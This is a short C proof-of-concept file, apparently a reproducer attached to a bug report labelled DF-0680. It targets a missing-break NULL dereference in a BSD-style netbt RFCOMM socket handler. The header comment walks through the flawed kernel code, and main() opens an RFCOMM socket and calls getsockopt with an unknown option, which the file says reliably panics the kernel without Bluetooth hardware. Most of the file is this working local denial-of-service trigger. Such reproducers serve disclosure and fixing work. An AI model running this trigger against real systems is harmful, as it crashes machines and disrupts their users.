DF-0680 / trigger.c
/* * DF-0680 trigger: rfcomm_socket.c PRCO_GETOPT missing-break NULL-deref panic. * * Mechanism (sys/netbt/rfcomm_socket.c:115-127): * case PRCO_GETOPT: * m = m_get(M_WAITOK, MT_DATA); // :117 m != NULL * m->m_len = rfcomm_getopt(...); // :119 returns 0 for unknown opt * if (m->m_len == 0) { * m_freem(m); // :122 free * m = NULL; // :123 set NULL * error = ENOPROTOOPT; // :124 * } // NO break -- falls through * soopt_from_kbuf(sopt, mtod(m, ...), m->m_len); // :126 mtod(NULL) => kernel fault * * Trigger: socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM) then getsockopt * with any unknown option number (e.g. 99). 100% reliable local kernel panic * when netbt.ko is loaded. No Bluetooth hardware needed. */ #include <sys/types.h> #include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> /* Bluetooth protocol/domain constants -- mirror <netbt/bluetooth.h> */ #define AF_BLUETOOTH 33 #define BTPROTO_RFCOMM 3 int main(void) { int fd, rc; socklen_t len; char buf[64]; printf("[*] DF-0680: RFCOMM PRCO_GETOPT missing-break panic trigger\n"); printf("[*] opening AF_BLUETOOTH/SOCK_STREAM/BTPROTO_RFCOMM socket\n"); fd = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM); if (fd < 0) { printf("[!] socket() failed: %s (errno=%d)\n", strerror(errno), errno); if (errno == EPROTONOSUPPORT || errno == EPROTOTYPE || errno == EPFNOSUPPORT) printf("[!] netbt.ko not loaded? load with: kldload netbt.ko\n"); return 2; } printf("[+] socket fd=%d allocated\n", fd); printf("[*] getsockopt(fd, BTPROTO_RFCOMM, 99=unknown, ...) -> expect kernel panic\n"); fflush(stdout); len = sizeof(buf); memset(buf, 0, sizeof(buf)); /* optname=99 -- not SO_RFCOMM_MTU(1)/FC_INFO(2)/LM(3) so rfcomm_getopt * returns 0; m_freem + m=NULL + missing break => mtod(NULL) fault. */ rc = getsockopt(fd, BTPROTO_RFCOMM, 99, buf, &len); printf("[!] getsockopt returned %d (errno=%d %s) -- NO PANIC\n", rc, errno, strerror(errno)); close(fd); return 0; } |